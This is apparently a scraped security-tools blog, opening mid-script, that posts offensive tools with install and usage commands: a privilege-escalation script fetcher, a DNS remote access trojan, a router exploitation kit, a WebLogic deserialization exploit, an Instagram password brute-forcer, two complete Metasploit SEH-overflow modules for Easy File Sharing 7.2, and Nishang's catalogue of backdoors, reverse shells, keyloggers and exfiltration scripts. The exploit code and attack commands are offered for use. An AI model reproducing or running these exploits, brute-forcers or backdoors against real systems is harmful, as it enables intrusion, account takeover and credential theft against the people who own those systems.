    raw_input = input
  try:
    while True:
      stderr.write("\x1b[2J\x1b[H")
      call(['reset'])
      try:
        c = Colors()
        print(c.Escape + "[" + repr(randint(92, 97)) + "m" +
              Header().headers[randint(1, 3)] + "\n\n")
        who_did_it()
        anon_status()
        main_menu()
        try:
          tool = Tools().tool
          selected = int(
              raw_input(c.Escape + c.Lgre + gethostname() + "-gOtr00t"
                        ":> "))
          if selected < 1 or selected > 9:
            print("Select a number between 1 and 9")
            sleep(2)
          if selected is 9:
            exit(0)
          if selected is 1:
            if isfile(load_tables.tor_config_file):
              if not 'VirtualAddrNetwork' in open(
                  load_tables.tor_config_file).read():
                with open(load_tables.tor_config_file, 'a+') as torrconf:
                  torrconf.write(load_tables.torrc)
            load_tables.load_iptables_rules()
          sleep(1)

          if selected is 2:
            load_tables.flush_iptables_rules()
            sleep(1)
          if selected is 3:
            call(['clear'])
            call([getoutput(tool['helper'] + ' ' + tool[3])])
            sleep(1)
          if selected is 4:
            call(['clear'])
            call([getoutput(tool['helper'] + ' ' + tool[4])])
            sleep(1)
          if selected is 5:
            call(['clear'])
            call([getoutput(tool['helper'] + ' ' + tool[5])])
            sleep(1)
          if selected is 6:
            call(['clear'])
            call([getoutput(tool['helper'] + ' ' + tool[6])])
            sleep(1)
          if selected is 7:
            call(['clear'])
            call([getoutput(tool['helper'] + ' ' + tool[7])])
            sleep(1)
          if selected is 8:
            call(['clear'])
            call([getoutput(tool['helper'] + ' ' + tool[8])])
            sleep(5)
        except ValueError:
          print("Select a number between 1 and 9")
          sleep(2)
      except SystemExit:
        exit(0)
  except OSError as err:
    print("\n [*] Check your path " + c.Escape + c.Lred + "%s\n %s" %
          (environ['PATH'], "[!] " + c.Escape + c.Lyel + "Can't find"),
          c.Escape + c.Lgre + tool[selected] + ", " + err[1],
          c.Escape + c.Lred + "Aborting!")
    sleep(2)
    pass

Source: https://github.com/ruped24 | Our Post Before

roothelper – A Bash script that will aid with privilege escalation on a Linux system.

$
0
0

Roothelper will aid in the process of privilege escalation on a Linux system that has been compromised, by fetching a number of enumeration and exploit suggestion scripts. The latest version downloads four scripts. Two enumeration shellscripts and two exploit suggesters, one written in perl and the other one in python.

roothelper - A Bash script that will aid with privilege escalation on a Linux system.

roothelper – A Bash script that will aid with privilege escalation on a Linux system.

Priv-Esc scripts:
+ LinEnum : Shellscript that enumerates the system configuration.
+ unix-privesc-check : Shellscript that enumerates the system configuration and runs some privilege escalation checks as well.
+ linuxprivchecker : A python implementation to suggest exploits particular to the system that’s been compromised.
+ Linux_Exploit_Suggester : A perl script that that does the same as the one mentioned above.

Usage:

git clone https://github.com/NullArray/RootHelper
cd RootHelper
chmod +x roothelper.sh
./roothelper.sh

roothelper.sh script:

#!/bin/bash

function usage()
{ printf "%b \a\n\nRoothelper will aid in the process of privilege escalation on a Linux system you compromised by fetching a number of enumeration
and exploit suggestion scripts. Below is a quick overview of the available options.
The 'Help' option displays this informational message.
The 'Download' option fetches the relevant files and places them in the /tmp/ directory.
The option 'Download and unzip' downloads all files and extracts the contents of zip archives to their individual subdirectories respectively, please
note; if the 'mkdir' command is unavailable however, the operation will not succeed and the 'Download' option should be used instead
The 'Clean up' option removes all downloaded files and 'Quit' exits roothelper.\n "
}

# Download and unzip
function dzip()
{    echo "Downloading and extracting scripts..."
    `wget -O /tmp/ExploitSuggest.py http://www.securitysift.com/download/linuxprivchecker.py`
    `wget -O /tmp/LinEnum.zip https://github.com/rebootuser/LinEnum/archive/master.zip`                  
    `wget -O /tmp/ExploitSuggest_perl.zip https://github.com/PenturaLabs/Linux_Exploit_Suggester/archive/master.zip`  
    `wget -O /tmp/file3.zip https://github.com/pentestmonkey/unix-privesc-check/archive/1_x.zip`   
    for zip in *.zip
    do
        dirname=`echo $zip | sed 's/\.zip$//'`
        if mkdir $dirname
        then
            if cd $dirname
            then
                unzip ../$zip
                cd ..
                rm -f $zip
            else
                echo "Could not unpack $zip - cd failed"
            fi
        else
            echo "Could not unpack $zip - mkdir failed"
        fi
    done
}

PATH="/tmp/"

usage

printf "%b" "\a\n\nTo use roothelper please select an option below.:\n"

PS3='Please enter your choice: '
options=("Help" "Download" "Download and unzip" "Clean up" "Quit")
select opt in "${options[@]}"
do
    case $opt in
        "Help")
            usage
            printf "%b \n"
            ;;
        "Download")
            echo "Downloading scripts to /tmp/"
            `wget -O /tmp/ExploitSuggest.py http://www.securitysift.com/download/linuxprivchecker.py`
            `wget -O /tmp/LinEnum.zip https://github.com/rebootuser/LinEnum/archive/master.zip`                  
            `wget -O /tmp/ExploitSuggest_perl.zip https://github.com/PenturaLabs/Linux_Exploit_Suggester/archive/master.zip`  
             printf "%b \n"
            ;;
        "Download and unzip")
            dzip
            printf "%b \n"
            ;;
         "Clean up")
            echo "Removing downloaded files"
            find $PATH/* -exec rm {} \;
            printf "%b \n"
            ;;
        "Quit")
            break
            ;;
        *) echo invalid option;;
    esac
done

Source : https://github.com/NullArray/RootHelper

dnschan – A remote access trojan over DNS.

$
0
0

NOTICE : This post and how to build it, just For Education and Research Purpose Only!

dnschan This is a trojan that runs over DNS.
Latest Change 23/12/2015:
– DNSClient : minor client updates
– DNSServer : tiny bug fix
Requirement:
+ Windows
+ Visual Studio Comunity

You can:
+ handle multiple agents
+ (very slowly) upload files
+ fetch files from the web
+ run processes

Usage & Installation using git:

open CMD
git clone https://github.com/rwhitcroft/dnschan
cd dnschan\DNSClient
MSBuild DNSClient.sln /p:PlatformToolset=v140
go to DNSSErver
ruby main.rb
back to DNSClient Folder
then run DNSClient.exe

How To Build DNSClient Using Command Prompt at windows 32 Bit/x85 using Visual Studio

How To Build DNSClient Using Command Prompt at windows 32 Bit/x85 using Visual Studio

Source : https://github.com/rwhitcroft

Updates REXT v0.0 – Router Exploitation Toolkit.

$
0
0

Latest Changelog 23/12/2015:
– requirements.txt : requests==2.9.1 from requests==2.5.1
– Added default host value to Exploit.py
– exploit module: Dlink DIR-300 and DIR-600 exec noauth.

Router Exploitation Toolkit – REXT is a Small toolkit for easy creation and usage of various python scripts that work with embedded devices.

Router EXploitation Toolkit - small toolkit for easy creation and usage of various python scripts that work with embedded devices.

Router EXploitation Toolkit – small toolkit for easy creation and usage of various python scripts that work with embedded devices.

– core – contains most of toolkits basic functions
– databases – contains databases, like default credentials etc.
– interface – contains code that is being used for the creation and manipulation with interface
– modules – contains structure of modules, that can be loaded, every module contains vendor specific sub-modules where scripts are stored.
– decryptors
– exploits
– harvesters
– misc
– scanners
– output – output goes here
This is still heavy work-in progress

Requirements:
+ Python 3, request v2.9.1

Installation and Usage:

git clone https://github.com/j91321/rext
cd <your clone folder>
pip3 install -r requirements.txt
python3 rext.py

Update : update or
cd rext
git pull
pip3 install -r requirements.txt
and run again 
python3 rext.py

Download : rext-master.zip(46KB)  | Clone Url 
Source : https://github.com/j91321    | Our Post Before

weblogic unserialize exploit is a java unserialize vulnerable for weblogic exploit.

$
0
0

weblogic unserialize exploit is a java unserialize vulnerable for weblogic exploit.

1. dependencies components :
+ python 2.7
+ java
2. Program Description:
exploit method from Freebuf of “weblogic local Java deserialization exploit loopholes achieve articles”, based on research rebeyond large cattle and decompilation WebLogic_EXP.jar achieved. Compared with rebeyond methods used to extract only the WebLogic_EXP.jar few java class, using python script to achieve exploit.
3. Instructions
./weblogic.py [host] [port] [win | linux] [verify | exploit]
4.payload bin
Description payload bin following various payload for deserializing content to weblogic sent through t3 protocol by genPayload.class generated by executing, execute the command as follows:

java -classpath .;collections_3.2.0.jar genPayload [win|linux] [payload_type](windows)
java -classpath .:collections_3.2.0.jar genPayload [win|linux] [payload_type](linux/mac)

Payload_Type:upload_inst|inst|upload_uninst|uninst|delete

weblogic-payload

weblogic-payload

Usage :

git clone https://github.com/hanc00l/weblogic_unserialize_exploit
cd weblogic_unserialize_exploit
cd bin
./python weblogic.py [host] [port] [win | linux] [verify | exploit]
pyhon weblogic.py [host] [port] [win | linux] [verify | exploit]

How to usage

How to usage

Remote command execution by the RMI java to achieve, invoke the command is:

java -classpath .;weblogic.jar;javax.jar shellApp [host] [port] [cmd] (for windows)
java -classpath .:weblogic.jar:javax.jar shellApp [host] [port] [cmd] (for Linux and Mac OSX)

Source : https://github.com/hanc00l

Updates InstaBrute – Instagram bruteforce exploit module.

$
0
0

Changelog 28/12/2015:
+ Implemented: Delay option for slow connections. Fixed: Logged in detection based on driver title.

InstaBrute is a Instagram bruteforce exploit module.InstaBrute
Features:
– Check username existence
– Check password for a given username
– Brute forcer mother fuckers!

Dependencies:
1.Mechanize
2.CookieLib
3.Simplejson
4.OptParse

Usage:

usage:
git clone https://github.com/chinoogawa/instaBrute
cd instaBrute
pip install selenium
pip install Mechanize
pip install Simplejson
pip install OptParse
pip install Mechanize
python instabrute.py -h ( for Helper)

Update
cd instaBrute
git pull

InstaBrute

InstaBrute: All Platform Support

Example :

python instaBrute.py -f usernames.txt -d dictionary.txt

python instaBrute.py -u facebook -d dictionary.txt

Download : Instabrute.zip | Our Post Before
Source : https://github.com/chinoogawa


Easy File Sharing Metasploit Buffer Overflow.

$
0
0

These modules exploit the Easy File Sharing 7.2 Windows program(Download) The exploits lie in the GET and HEAD requests, allowing external code to overwrite the SEH and get called and executed. Shellcode space is 390 bytes maximum allowing full meterpreter payloads to be used. This exploit works on any Windows version. Place these in the modules/exploits/winodws/ftp directory to use in metasploit. RHOST, RPORT, payload, and LHOST options are required.

Usage:

port auxiliary module to modules/exploits/windows/ftp in metasploit directory
(kali linux example): /usr/share/metasploit-framework/modules/exploits/windows/ftp/easyfilesharing_seh.rb
(ubuntu linux example): /opt/metasploit/apps/pro/msf3/modules/exploits/windows/ftp/easyfilesharing_seh.rb
(kali linux example): /usr/share/metasploit-framework/modules/exploits/windows/ftp/easyfilesharing_HEAD_seh.rb
(ubuntu linux example): /opt/metasploit/apps/pro/msf3/modules/exploits/windows/ftp/easyfilesharing_HEAD_seh.rb
msf > reload_all
msf > use exploits/windows/ftp/easyfilesharing_seh
msf > use exploits/windows/ftp/easyfilesharing_HEAD_seh
msf exploit(easyfilesharing_seh) > info
msf exploit(easyfilesharing_seh) > show options
msf exploit(easyfilesharing_seh) > show advanced options

easyfilesharing_seh.rb script:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy File Sharing FTP Server 7.2 SEH Overflow',
      'Description'    => %q{
        This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 		software.
      },
      'Author'         => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'https://www.exploit-db.com/exploits/39008/' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 390,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal',   { 'Ret' => "\x98\x97\x01\x10" } ],
        ],
      'DisclosureDate' => 'December 2, 2015',
      'DefaultTarget'  => 0))
  end

  def exploit
    connect
	print_status("Generating Shell Code")
    sploit = rand_text_alpha_upper(4061)
    sploit << "\xeb\x0A\x90\x90"
    sploit << target.ret
    sploit << make_nops(19)
    sploit << payload.encoded
    sploit << make_nops(7)
	print_status("Buffer length is: #{4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20}")
    sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
    sploit << " HTTP/1.0\r\n\r\n"
    send_cmd(['GET ', sploit], true)
	print_good("Exploit Sent")
    handler
    disconnect
  end

end

asy-File-Sharing-Metasploit-Buffer-Overflow

asy-File-Sharing-Metasploit-Buffer-Overflow

easyfilesharing_HEAD_seh.rb script:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy File Sharing FTP Server 7.2 SEH Overflow',
      'Description'    => %q{
        This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 HEAD request		software.
      },
      'Author'         => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'https://www.exploit-db.com/exploits/39008/' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 390,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal',   { 'Ret' => "\x98\x97\x01\x10" } ],
        ],
      'DisclosureDate' => 'December 2, 2015',
      'DefaultTarget'  => 0))
  end

  def exploit
    connect
	print_status("Generating Shell Code")
    sploit = rand_text_alpha_upper(4061)
    sploit << "\xeb\x0A\x90\x90"
    sploit << target.ret
    sploit << make_nops(19)
    sploit << payload.encoded
    sploit << make_nops(7)
	print_status("Buffer length is: #{4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20}")
    sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
    sploit << " HTTP/1.0\r\n\r\n"
    send_cmd(['HEAD ', sploit], true)
	print_good("Exploit Sent")
    handler
    disconnect
  end

end

easyfilesharing_HEAD_seh

Source : https://github.com/Starwarsfan2099

Nishang v-0.6.2 – PowerShell for penetration testing and offensive security.

$
0
0

Changelog v0.6.2:
+ Added support for dumping cleartext credentials from RDP sessions for Invoke-MimikatzWfigestDowngrade.
– fix issues #29.Invoke-mimikatsDOwngradeDESCRIPTION
This script uses MJPEG to stream a target’s desktop in real time. It is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port.
A netcat listener which relays connection to a local port could be used as listener. A browser which supports MJPEG (Firefox) should then be pointed to the local port to see the remote desktop.

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and penetration testing. Nishang is useful during various phases of a penetration test and is most powerful for post exploitation usage.

Nishang v-0.6.0 released: PowerShell for penetration testing and offensive security.

Nishang v-0.6.2 released: PowerShell for penetration testing and offensive security.

Scripts; Nishang currently contains the following scripts and payloads.
+ Antak – the Webshell
– Antak :Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell

+ Backdoors
– HTTP-Backdoor : A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.
– DNS_TXT_Pwnage : A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.
– Execute-OnTime : A backdoor which can execute PowerShell scripts at a given time on a target.
– Gupt-Backdoor : A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.
– Add-ScrnSaveBackdoor : A backdoor which can use Windows screen saver for remote command and script execution.
– Invoke-ADSBackdoor : A backdoor which can use alternate data streams and Windows Registry to achieve persistence.

+ Client
– Out-CHM : Create infected CHM files which can execute PowerShell commands and scripts.
– Out-Word : Create Word files and infect existing ones to run PowerShell commands and scripts.
– Out-Excel : Create Excel files and infect existing ones to run PowerShell commands and scripts.
– Out-HTA : Create a HTA file which can be deployed on a web server and used in phishing campaigns.
– Out-Java : Create signed JAR files which can be used with applets for script and command execution.
– Out-Shortcut : Create shortcut files capable of executing commands and scripts.
– Out-WebQuery : Create IQY files for phishing credentials and SMB hashes.

+ Escalation
– Enable-DuplicateToken : When SYSTEM privileges are required.
– Remove-Update : Introduce vulnerabilities by removing patches.

+ Execution
– Download-Execute-PS : Download and execute a PowerShell script in memory.
– Download_Execute : Download an executable in text format, convert it to an executable, and execute.
– Execute-Command-MSSQL : Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.
– Execute-DNSTXT-Code : Execute shellcode in memory using DNS TXT queries.

+ Gather
– Check-VM : Check for a virtual machine.
– Copy-VSS : Copy the SAM file using Volume Shadow Copy Service.
– Invoke-CredentialsPhish : Trick a user into giving credentials in plain text.
– FireBuster FireListener: A pair of scripts for egress testing
– Get-Information : Get juicy information from a target.
– Get-LSASecret : Get LSA Secret from a target.
– Get-PassHashes : Get password hashes from a target.
– Get-WLAN-Keys: Get WLAN keys in plain text from a target.

+ Keylogger
Log keystrokes from a target.
– Invoke-MimikatzWdigestDowngrade: Dump user passwords in plain on Windows 8.1 and Server 2012
– Get-PassHints : Get password hints of Windows users from a target.

+ Pivot
– reate-MultipleSessions : Check credentials on multiple computers and create PSSessions.
– Run-EXEonRemote Copy and execute an executable on multiple machines.
– Invoke-NetworkRelay Create network relays between computers.

+ Prasadhak
– Prasadhak : Check running hashes of running process against the VirusTotal database.

+ Scan
– Brute-Force : Brute force FTP, Active Directory, MSSQL, and Sharepoint.
– Port-Scan : A handy port scanner

+ Powerpreter
Powerpreter : All the functionality of nishang in a single script module.

+ Shells :
– Invoke-PsGcat: Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent
– Invoke-PsGcatAgent: Execute commands and scripts sent by Invoke-PsGcat.
– Invoke-PowerShellTcp: An interactive PowerShell reverse connect or bind shell
– Invoke-PowerShellTcpOneLine : Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.
– Invoke-PowerShellUdp : An interactive PowerShell reverse connect or bind shell over UDP
– Invoke-PowerShellUdpOneLine : Stripped down version of Invoke-PowerShellUdp.
– Invoke-PoshRatHttps : Reverse interactive PowerShell over HTTPS.
– Invoke-PoshRatHttp : Reverse interactive PowerShell over HTTP.
– Remove-PoshRat : Clean the system after using Invoke-PoshRatHttps
– Invoke-PowerShellWmi : Interactive PowerShell using WMI.
– Invoke-PowerShellIcmp : An interactive PowerShell reverse shell over ICMP.

+ Utility:
– Add-Exfiltration: Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.
– Add-Persistence: Add reboot persistence capability to a script.
– Remove-Persistence: Remote persistence added by the Add-Persistence script.
– Do-Exfiltration: Pipe (|) this to any script to exfiltrate the output.
– Download: Transfer a file to the target.
– Parse_Keys : Parse keys logged by the keylogger.
– Invoke-Encode : Encode and compress a script or string.
– Invoke-Decode : Decode and decompress a script or string from Invoke-Encode.
– Start-CaptureServer : Run a web server which logs Basic authentication and SMB hashes.
— [Base64ToString] [StringToBase64] [ExetoText] [TexttoExe]

Download : Nishang.zip(951 KB) | Our Post Before
Source : http://www.labofapenetrationtester.com/

Penbox ~ Pentesting tools auto downloader Script.

$
0
0

Penbox ~ Pentesting tools auto downloader Script.
Requirements : python2.7

penbox v1.0

penbox v1.0 Has been tested on Debian and Ubuntu 14.04 TLS

Operating System Support Menu:
1) Max OSX
2) Linux
3) Windows

Main Menu:
1 : Information Gathering
2 : Password Attacks
3 : Wireless Testing
4 : Exploitation Tools
5 : Sniffing & Spoofing

penbox.py Script:

#!/usr/bin/env python2.7
#
#          All In One Tool For Penetration Testing 
#           Authors : Fedy Wesleti , Mohamed Nour 
#
import sys
import os
import subprocess
from commands import *
########################## 
#Variables
yes = set(['yes','y', 'ye', ''])
no = set(['no','n'])



##########################

#this is the big menu funtion 
def menu():
    print """
  ########  ######## ##    ## ########   #######  ##     ## 
  ##     ## ##       ###   ## ##     ## ##     ##  ##   ##  
  ##     ## ##       ####  ## ##     ## ##     ##   ## ##   
  ########  ######   ## ## ## ########  ##     ##    ###    
  ##        ##       ##  #### ##     ## ##     ##   ## ##   
  ##        ##       ##   ### ##     ## ##     ##  ##   ##  
  ##        ######## ##    ## ########   #######  ##     ##  v1.0  
                                  Pentesting Tools Auto-Downloader 
 
  [+]       Coded BY Mohamed Nour & Fedy Weslety        [+] 
  [+]          FB/CEH.TN    ~~   FB/mohamed.zeus.0      [+] 
  [+]             Greetz To All Pentesters              [+] 
Select from the menu:
1 : Information Gathering
2 : Password Attacks
3 : Wireless Testing
4 : Exploitation Tools
5 : Sniffing & Spoofing
99 : Exit
"""
    choice = input("selet a number :")
    choice = int(choice)
    if choice == 1:
        info()
    elif choice == 2:
        passwd()
    elif choice == 3:
        wire()
    elif choice == 4:
        exp()
    elif choice == 5:
        snif()
    elif choice == 99:
        os.system('clear'),sys.exit();
#end of function
##########################
#nmap function 
def nmap():
    print("this step will download and install nmap ")
    print("yes or no ")
    choice7 = raw_input()
    if choice7 in yes :
        os.system("wget https://nmap.org/dist/nmap-7.01.tar.bz2")
        os.system("bzip2 -cd nmap-7.01.tar.bz2 | tar xvf -")
        os.system("cd nmap-7.01")
        os.system("./configure")
        os.system("make")
        os.system("su root")
        os.system("make install")
    elif choice7 in no :
        info()
####################################
#jboss-autopwn
def jboss():
    os.system('clear')
    print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once")
    print ("deployed, the script uses its upload and command execution capability to")
    print ("provide an interactive session.")
    print ("")
    print (" this will install jboss-autopwn") 
    print ("usage : ./e.sh target_ip tcp_port ")
    choice9 = raw_input("yes / no :")
    if choice9 in yes:
        os.system("git clone https://github.com/SpiderLabs/jboss-autopwn.git"),sys.exit();
    elif choice9 in no:
        os.system('clear'); exp()
#sqlmap 
def sqlmap():
    print (" this will install sqlmap ")
    print ("usage : python sqlmap.py -h")
    choice8 = input("yes or no :")
    if choice8 in yes:
        os.system("git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev")
    elif choice8 in no:
        os.system('clear'); info()

#setoolkit 
def setoolkit():
    print ("The Social-Engineer Toolkit is an open-source penetration testing framework")
    print(") designed for social engineering. SET has a number of custom attack vectors that ")
    print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC  ")
    print("an information security consulting firm located in Cleveland, Ohio.")
    print("")
    choiceset = raw_input("y / n :")
    if choiceset in yes:
        os.system("git clone https://github.com/trustedsec/social-engineer-toolkit.git");os.system("cd social-engineer-toolkit");os.system("python setup.py")
    if choiceset in no:
        os.system("clear"); info()
#cupp 
def cupp():
    print("cupp is a password list generator ")
    print("Usage: python cupp.py -h")
    print("yes or now")
    choicecupp = raw_input("y / n :")
    
    if choicecupp in yes:
        os.system("git clone https://github.com/Mebus/cupp.git");os.system("cd cupp")
    elif choicecupp in no:
        os.system("clear"); passwd()
#ncrack 
def ncrack():
    print("A Ruby interface to Ncrack, Network authentication cracking tool.")
    print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3")
    print("1 to accept / 0 to decline")
    choicencrack = raw_input("y / n :")
    if choicencrack in yes:
        os.system("git clone https://github.com/sophsec/ruby-ncrack.git");os.system("cd ruby-ncrack");os.systemgem("install ruby-ncrack")
    elif choicencrack in no:
        os.system("clear"); passwd()
#reaver
def reaver():
    print("Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup")
    print(" WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a")
    print(") wide variety of access points and WPS implementations")
    print("1 to accept / 0 to decline")
    creaver = input("y / n :")
    if creaver in yes:
        os.system("apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps");os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git");os.system("cd reaver-wps-fork-t6x");os.system("cd src/");os.system("./configure");os.system("make")
    elif creaver in no:
        os.system("clear"); wire()

#####################################
#information gathering function
def info():
    print("1 : nmap ")
    print("3 : SET tool kit")
    print("99 :Go Back To Main Menu")
    choice2 = input("selet a number :")
    choice2 = int(choice2)
    if choice2 ==1:
        os.system('clear'); nmap()
    if choice2 ==3:
        os.system("clear"); setoolkit()

    elif choice2 ==99:
        os.system("clear"); menu()
#end of menu 
##########################
#password attacks menu 
def passwd():
    print("1 : cupp ")
    print("2 : Ncrack")
    print("99:Back To Main Menu")
    choice3 = input("selet a number :")
    choice3 = int(choice3)
    if choice3 ==1:
     os.system("clear"); cupp()
    elif choice3 ==2:
        os.system("clear"); ncrack()
    elif choice3 ==99:
        os.system("clear"); menu()
#end of menu 
##########################
#wireless attacks
def wire():
    print("1 : reaver ")
    print("99: Go Back To The Main Menu")
    choice4 = input("selet a number :")
    choice4 = int(choice4)
    if choice4 ==1:
     os.system("clear");reaver()
    elif choice4 ==99:
        menu()
##########################
#exploitation tools
def exp():
    print("1 : jboss-autopwn ")
    print("2 : sqlmap")
    print("99 : Go Back To Main Menu")
    choice5 = input("selet a number :")
    choice5 = int(choice5)
    if choice5 ==2:
        os.system("clear"); sqlmap()
    if choice5 ==1:
     os.system('clear'); jboss()
    elif choice5 ==99:
        menu()
###########################
#sniffing tools
def snif():
    print("1 : Set Tool kit ")
    print("99: Back To Main Menu")
    choice6 = input("selet a number :")
    choice6 = int(choice6)
    if choice6 ==1:
     os.system("clear"); setoolkit()
    if choice6 ==99:
       os.system("clear"); menu()
#end of menu 
##########################
  #Check use OS
def OS():
    print(
    """
    Choose Operating System : 
    1) Max OSX
    2) Linux
    3) Windows
    """)
    system = input(":")
    system = str(system)
    if system ==2:
        root()
    else :
        menu()

############################
#check root if linux 
def root():
    if os.getuid() != 0:
        print("Are you root? Please execute as root")
        exit() 
#############################
#begin :D 
OS()

Source: https://github.com/x3omdax

Windows-Exploit-Suggester revision v3.0 released.

$
0
0

Changelog Windows Exploit Suggester, revision 3.0:
Adding new exploits to dbusage-windows-exploit-suggester

This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.
It requires the ‘systeminfo’ command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host.

It has the ability to automatically download the security bulletin database from Microsoft with the –update flag, and saves it as an Excel spreadsheet.helper-windows-exploit-suggester

When looking at the command output, it is important to note that it assumes all vulnerabilities and then selectively removes them based upon the hotfix data. This can result in many false-positives, and it is key to know what software is actually running on the target host. For example, if there are known IIS exploits it will flag them even if IIS is not running on the target host.
The output shows either public exploits (E), or Metasploit modules (M) as indicated by the character value.

update the database

$ ./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2014-06-06-mssb.xlsx
[*] done

Usage :

$ ./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2014-06-06-mssb.xlsx
[*] done

 install dependencies

(install python-xlrd, $ pip install xlrd –upgrade)
feed it “systeminfo” input, and point it to the microsoft database

$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
[*] initiating...
[*] database file detected as xls or xlsx based on extension
[*] reading from the systeminfo input file
[*] querying database file for potential vulnerabilities
[*] comparing the 15 hotfix(es) against the 173 potential bulletins(s)
[*] there are now 168 remaining vulns
[+] windows version identified as 'Windows 7 SP1 32-bit'
[*] 
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[*] done

possible exploits for an operating system can be used without hotfix data

$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' 
[*] initiating...
[*] database file detected as xls or xlsx based on extension
[*] getting OS information from command line text
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 196 potential bulletins(s)
[*] there are now 196 remaining vulns
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*] 
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical

Currently, if the ‘systeminfo’ command reveals ‘File 1’ as the output for the hotfixes, it will not be able to determine which are installed on the target. If this occurs, the list of hotfixes will need to be retrieved from the target host and passed in using the –hotfixes flag

It currently does not seperate ‘editions’ of the Windows OS such as ‘Tablet’ or ‘Media Center’ for example, or different architectures, such as Itanium-based only. False positives also occur where it assumes EVERYTHING is installed on the target Windows operating system. If you receive the ‘Fil 1’ output, try executing ‘wmic qfe list full’ and feed that as input with the –hotfixes flag, along with the ‘systeminfo’

Script :

#!/usr/bin/env python
#
# Windows Exploit Suggester
# revision 3.0, 2016-01-04
#
